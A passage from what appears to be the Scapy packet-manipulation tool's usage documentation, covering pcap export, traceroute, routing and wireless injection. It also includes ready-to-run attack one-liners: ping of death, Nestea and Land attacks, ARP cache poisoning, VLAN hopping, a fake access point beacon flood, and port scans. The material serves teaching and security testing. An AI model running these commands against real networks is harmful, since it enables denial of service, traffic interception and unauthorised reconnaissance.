690    192.168.8.10:47226 -> 213.228.0.14:110  FA :
691    213.228.0.14:110 -> 192.168.8.10:47226   A :
692
693Send and receive in a loop
694--------------------------
695
696.. index::
697   single: srloop()
698
699Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change::
700
701    >>> srloop(IP(dst="www.target.com/30")/TCP())
702    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
703    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
704            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
705            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
706    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
707    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
708            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
709            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
710    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
711    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
712            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
713            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
714    RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
715    fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
716            IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
717            IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
718
719
720Importing and Exporting Data
721----------------------------
722PCAP
723^^^^
724
725It is often useful to save capture packets to pcap file for use at later time or with different applications::
726
727    >>> wrpcap("temp.cap",pkts)
728
729To restore previously saved pcap file:
730
731    >>> pkts = rdpcap("temp.cap")
732
733or
734
735    >>> pkts = sniff(offline="temp.cap")
736
737Hexdump
738^^^^^^^
739
740Scapy allows you to export recorded packets in various hex formats.
741
742Use ``hexdump()`` to display one or more packets using classic hexdump format::
743
744    >>> hexdump(pkt)
745    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
746    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
747    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
748    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
749    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
750    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
751    0060   36 37                                              67
752
753Hexdump above can be reimported back into Scapy using ``import_hexcap()``::
754
755    >>> pkt_hex = Ether(import_hexcap())
756    0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
757    0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
758    0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
759    0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
760    0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
761    0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
762    0060   36 37                                              67
763    >>> pkt_hex
764    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
765    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
766    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
767    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
768    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
769    \x1f !"#$%&\'()*+,-./01234567' |>>>>
770
771Binary string
772^^^^^^^^^^^^^
773
774You can also convert entire packet into a binary string using the ``raw()`` function::
775
776    >>> pkts = sniff(count = 1)
777    >>> pkt = pkts[0]
778    >>> pkt
779    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
780    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
781    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
782    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
783    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
784    \x1f !"#$%&\'()*+,-./01234567' |>>>>
785    >>> pkt_raw = raw(pkt)
786    >>> pkt_raw
787    '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
788    \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
789    \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
790    \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
791
792We can reimport the produced binary string by selecting the appropriate first layer (e.g. ``Ether()``).
793
794    >>> new_pkt = Ether(pkt_raw)
795    >>> new_pkt
796    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
797    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
798    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
799    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
800    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
801    \x1f !"#$%&\'()*+,-./01234567' |>>>>
802
803Base64
804^^^^^^
805
806Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet::
807
808    >>> pkt
809    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
810    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
811    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
812    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
813    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
814    !"#$%&\'()*+,-./01234567' |>>>>
815    >>> export_object(pkt)
816    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
817    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
818    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
819    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
820    ...
821
822The output above can be reimported back into Scapy using ``import_object()``::
823
824    >>> new_pkt = import_object()
825    eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
826    OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
827    bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
828    WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
829    ...
830    >>> new_pkt
831    <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
832    ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
833    src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
834    chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
835    \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
836    !"#$%&\'()*+,-./01234567' |>>>>
837
838Sessions
839^^^^^^^^
840
841At last Scapy is capable of saving all session variables using the ``save_session()`` function:
842
843>>> dir()
844['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
845>>> save_session("session.scapy")
846
847Next time you start Scapy you can load the previous saved session using the ``load_session()`` command::
848
849    >>> dir()
850    ['__builtins__', 'conf']
851    >>> load_session("session.scapy")
852    >>> dir()
853    ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
854
855
856Making tables
857-------------
858
859.. index::
860   single: tables, make_table()
861
862Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :
863
864Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later)::
865
866    >>> ans, unans = sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
867    Received 49 packets, got 24 answers, remaining 0 packets
868    >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
869      216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195
870    1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1
871    2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254
872    3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254
873    4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3
874    5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69
875    6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178
876
877Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.
878
879::
880
881    >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
882    Received 142 packets, got 25 answers, remaining 71 packets
883    >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
884       172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
885    20 0             4203          7021          -             11562
886    21 0             4204          7022          -             11563
887    22 0             4205          7023          11561         11564
888    25 0             0             7024          -             11565
889    53 0             4207          7025          -             11566
890    80 0             4028          7026          -             11567
891
892It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.
893
894Routing
895-------
896
897.. index::
898   single: Routing, conf.route
899
900Now scapy has its own routing table, so that you can have your packets routed differently than the system::
901
902    >>> conf.route
903    Network         Netmask         Gateway         Iface
904    127.0.0.0       255.0.0.0       0.0.0.0         lo
905    192.168.8.0     255.255.255.0   0.0.0.0         eth0
906    0.0.0.0         0.0.0.0         192.168.8.1     eth0
907    >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
908    >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
909    >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
910    >>> conf.route
911    Network         Netmask         Gateway         Iface
912    127.0.0.0       255.0.0.0       0.0.0.0         lo
913    192.168.8.0     255.255.255.0   0.0.0.0         eth0
914    0.0.0.0         0.0.0.0         192.168.8.254   eth0
915    192.168.1.1     255.255.255.255 192.168.8.1     eth0
916    >>> conf.route.resync()
917    >>> conf.route
918    Network         Netmask         Gateway         Iface
919    127.0.0.0       255.0.0.0       0.0.0.0         lo
920    192.168.8.0     255.255.255.0   0.0.0.0         eth0
921    0.0.0.0         0.0.0.0         192.168.8.1     eth0
922
923Gnuplot
924-------
925
926.. index::
927   single: Gnuplot, plot()
928
929We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.)
930For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer::
931
932    >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
933    >>> a.plot(lambda x:x[1].id)
934    <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
935
936.. image:: graphics/ipid.png
937
938
939TCP traceroute (2)
940------------------
941
942.. index::
943   single: traceroute(), Traceroute
944
945Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result::
946
947    >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
948    Received 80 packets, got 80 answers, remaining 0 packets
949       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
950    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
951    2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254
952    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
953    4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46
954    5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41
955    6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69
956    7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178
957    8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98
958    9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89
959    10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126
960    11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178
961    12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146
962    13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230
963    14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
964    15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA
965    16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
966    17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
967    18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
968    19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
969    20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA
970    (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
971
972The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.
973
974    >>> result, unans = _
975    >>> result.show()
976       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80
977    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
978    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
979    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
980    [...]
981    >>> result.filter(lambda x: Padding in x[1])
982
983Like any result object, traceroute objects can be added :
984
985    >>> r2, unans = traceroute(["www.voila.com"],maxttl=20)
986    Received 19 packets, got 19 answers, remaining 1 packets
987       195.101.94.25:80
988    1  192.168.8.1
989    2  82.251.4.254
990    3  213.228.4.254
991    4  212.27.50.169
992    5  212.27.50.162
993    6  193.252.161.97
994    7  193.252.103.86
995    8  193.252.103.77
996    9  193.252.101.1
997    10 193.252.227.245
998    12 195.101.94.25   SA
999    13 195.101.94.25   SA
1000    14 195.101.94.25   SA
1001    15 195.101.94.25   SA
1002    16 195.101.94.25   SA
1003    17 195.101.94.25   SA
1004    18 195.101.94.25   SA
1005    19 195.101.94.25   SA
1006    20 195.101.94.25   SA
1007    >>>
1008    >>> r3=result+r2
1009    >>> r3.show()
1010       195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80
1011    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1
1012    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254
1013    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254
1014    4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46
1015    5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37
1016    6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69
1017    7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178
1018    8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98
1019    9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89
1020    10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126
1021    11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178
1022    12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46
1023    13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234
1024    14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA
1025    15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA
1026    16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
1027    17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
1028    18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
1029    19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
1030    20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA
1031
1032Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.
1033
1034    >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
1035    Received 190 packets, got 190 answers, remaining 10 packets
1036       193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...
1037    1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...
1038    2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...
1039    3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...
1040    [...]
1041    >>> res.graph()                          # piped to ImageMagick's display program. Image below.
1042    >>> res.graph(type="ps",target="| lp")   # piped to postscript printer
1043    >>> res.graph(target="> /tmp/graph.svg") # saved to file
1044
1045.. image:: graphics/graph_traceroute.png
1046
1047If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed::
1048
1049    >>> res.trace3D()
1050
1051.. image:: graphics/trace3d_1.png
1052
1053.. image:: graphics/trace3d_2.png
1054
1055Wireless frame injection
1056------------------------
1057
1058.. index::
1059   single: FakeAP, Dot11, wireless, WLAN
1060
1061Provided that your wireless card and driver are correctly configured for frame injection
1062
1063::
1064
1065    $ iw dev wlan0 interface add mon0 type monitor
1066    $ ifconfig mon0 up
1067
1068On Windows, if using Npcap, the equivalent would be to call
1069
1070    # Of course, conf.iface can be replaced by any interfaces accessed through IFACES
1071    >>> conf.iface.setmode(1)
1072
1073you can have a kind of FakeAP::
1074
1075    >>> sendp(RadioTap()/
1076              Dot11(addr1="ff:ff:ff:ff:ff:ff",
1077                    addr2="00:01:02:03:04:05",
1078                    addr3="00:01:02:03:04:05")/
1079              Dot11Beacon(cap="ESS", timestamp=1)/
1080              Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/
1081              Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/
1082              Dot11Elt(ID="DSset", info="\x03")/
1083              Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),
1084              iface="mon0", loop=1)
1085
1086Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it.
1087
1088
1089Simple one-liners
1090=================
1091
1092
1093ACK Scan
1094--------
1095
1096Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans.
1097For example, the following string will be sent to simulate an ACK Scan::
1098
1099    >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
1100
1101We can find unfiltered ports in answered packets::
1102
1103    >>> for s,r in ans:
1104    ...     if s[TCP].dport == r[TCP].sport:
1105    ...        print("%d is unfiltered" % s[TCP].dport)
1106
1107Similarly, filtered ports can be found with unanswered packets::
1108
1109    >>> for s in unans:
1110    ...     print("%d is filtered" % s[TCP].dport)
1111
1112
1113Xmas Scan
1114---------
1115
1116Xmas Scan can be launched using the following command::
1117
1118    >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
1119
1120Checking RST responses will reveal closed ports on the target.
1121
1122IP Scan
1123-------
1124
1125A lower level IP Scan can be used to enumerate supported protocols::
1126
1127    >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
1128
1129
1130ARP Ping
1131--------
1132
1133The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method::
1134
1135    >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
1136
1137Answers can be reviewed with the following command::
1138
1139    >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
1140
1141Scapy also includes a built-in arping() function which performs similar to the above two commands:
1142
1143    >>> arping("192.168.1.*")
1144
1145
1146ICMP Ping
1147---------
1148
1149Classical ICMP Ping can be emulated using the following command::
1150
1151    >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())
1152
1153Information on live hosts can be collected with the following request::
1154
1155    >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
1156
1157
1158TCP Ping
1159--------
1160
1161In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below::
1162
1163    >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
1164
1165Any response to our probes will indicate a live host. We can collect results with the following command::
1166
1167    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
1168
1169
1170UDP Ping
1171--------
1172
1173If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0::
1174
1175    >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
1176
1177Once again, results can be collected with this command:
1178
1179    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
1180
1181
1182
1183Classical attacks
1184-----------------
1185
1186Malformed packets::
1187
1188    >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
1189
1190Ping of death (Muuahahah)::
1191
1192    >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
1193
1194Nestea attack::
1195
1196    >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
1197    >>> send(IP(dst=target, id=42, frag=48)/("X"*116))
1198    >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
1199
1200Land attack (designed for Microsoft Windows)::
1201
1202    >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
1203
1204ARP cache poisoning
1205-------------------
1206This attack prevents a client from joining the gateway by poisoning
1207its ARP cache through a VLAN hopping attack.
1208
1209Classic ARP cache poisoning::
1210
1211    >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
1212          inter=RandNum(10,40), loop=1 )
1213
1214ARP cache poisoning with double 802.1q encapsulation::
1215
1216    >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
1217          /ARP(op="who-has", psrc=gateway, pdst=client),
1218          inter=RandNum(10,40), loop=1 )
1219
1220TCP Port Scanning
1221-----------------
1222
1223Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error::
1224
1225    >>> res, unans = sr( IP(dst="target")
1226                    /TCP(flags="S", dport=(1,1024)) )
1227
1228Possible result visualization: open ports
1229
1230::
1231
1232    >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
1233
1234
1235IKE Scanning
1236------------
1237
1238We try to identify VPN concentrators by sending ISAKMP Security Association proposals
1239and receiving the answers::
1240
1241    >>> res, unans = sr( IP(dst="192.168.1.*")/UDP()
1242                    /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
1243                    /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
1244                  )
1245
1246Visualizing the results in a list::
1247
1248    >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
1249
1250
1251
1252Advanced traceroute
1253-------------------
1254
1255TCP SYN traceroute
1256^^^^^^^^^^^^^^^^^^
1257
1258::
1259
1260    >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
1261
1262Results would be::
1263
1264    >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
1265    192.168.1.1     time-exceeded
1266    68.86.90.162    time-exceeded
1267    4.79.43.134     time-exceeded
1268    4.79.43.133     time-exceeded
1269    4.68.18.126     time-exceeded
1270    4.68.123.38     time-exceeded
1271    4.2.2.1         SA
1272
1273
1274UDP traceroute
1275^^^^^^^^^^^^^^
1276
1277Tracerouting an UDP application like we do with TCP is not
1278reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP,
1279NTP, etc.) to deserve an answer::
1280
1281    >>> res, unans = sr(IP(dst="target", ttl=(1,20))
1282                  /UDP()/DNS(qd=DNSQR(qname="test.com"))
1283
1284We can visualize the results as a list of routers::
1285
1286    >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
1287
1288
1289DNS traceroute
1290^^^^^^^^^^^^^^
1291
1292We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function::
1293
1294    >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
1295    Begin emission:
1296    ..*....******...******.***...****Finished to send 30 packets.
1297    *****...***...............................
1298    Received 75 packets, got 28 answers, remaining 2 packets
1299       4.2.2.1:udp53
1300    1  192.168.1.1     11
1301    4  68.86.90.162    11
1302    5  4.79.43.134     11
1303    6  4.79.43.133     11
1304    7  4.68.18.62      11
1305    8  4.68.123.6      11
1306    9  4.2.2.1
1307    ...
1308
1309
1310Etherleaking
1311------------
1312
1313::
1314
1315    >>> sr1(IP(dst="172.16.1.232")/ICMP())
1316    <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
1317    <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
1318
1319ICMP leaking
1320------------
1321
1322This was a Linux 2.0 bug::
1323
1324    >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
1325    <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
1326    <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
1327    <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
1328    <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
1329
1330
1331VLAN hopping
1332------------
1333
1334In very specific conditions, a double 802.1q encapsulation will
1335make a packet jump to another VLAN::
1336
1337    >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
1338
1339
1340Wireless sniffing
1341-----------------
1342
1343The following command will display information similar to most wireless sniffers::
1344
1345>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
1346
1347The above command will produce output similar to the one below::
1348
1349    00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
1350    11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
